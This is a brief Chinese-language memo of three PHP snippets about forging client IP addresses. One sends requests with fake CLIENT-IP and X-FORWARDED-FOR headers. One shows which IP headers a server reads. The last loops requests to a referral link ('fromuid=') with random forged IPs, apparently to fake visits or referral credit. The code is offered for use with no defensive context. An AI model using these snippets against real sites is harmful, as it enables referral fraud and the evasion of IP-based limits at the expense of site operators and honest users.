内容很简单,先记下来,方便查阅:
- 伪造IP的PHP代码
<?php $ch = curl_init(); $url = "http://localhost/target_ip.php"; $header = array( 'CLIENT-IP:58.68.44.61', 'X-FORWARDED-FOR:58.68.44.61', ); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $page_content = curl_exec($ch); curl_close($ch); echo $page_content; ?>
- 本地判断来访IP的PHP代码
<?php echo getenv('HTTP_CLIENT_IP')."n"; echo getenv('HTTP_X_FORWARDED_FOR')."n"; echo getenv('REMOTE_ADDR')."n"; ?>
- 伪造IP访问网站
<?php for ($i = 0; $i < 5; $i++) { task(); } function task() { $url = "http://www.xxx.com/?fromuid=272539"; $ip = "100.100.".rand(1, 255).".".rand(1, 255); $headers = array("X-FORWARDED-FOR:$ip"); $curl = curl_init($url); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0"); $src = curl_exec($curl); curl_close($curl); } ?>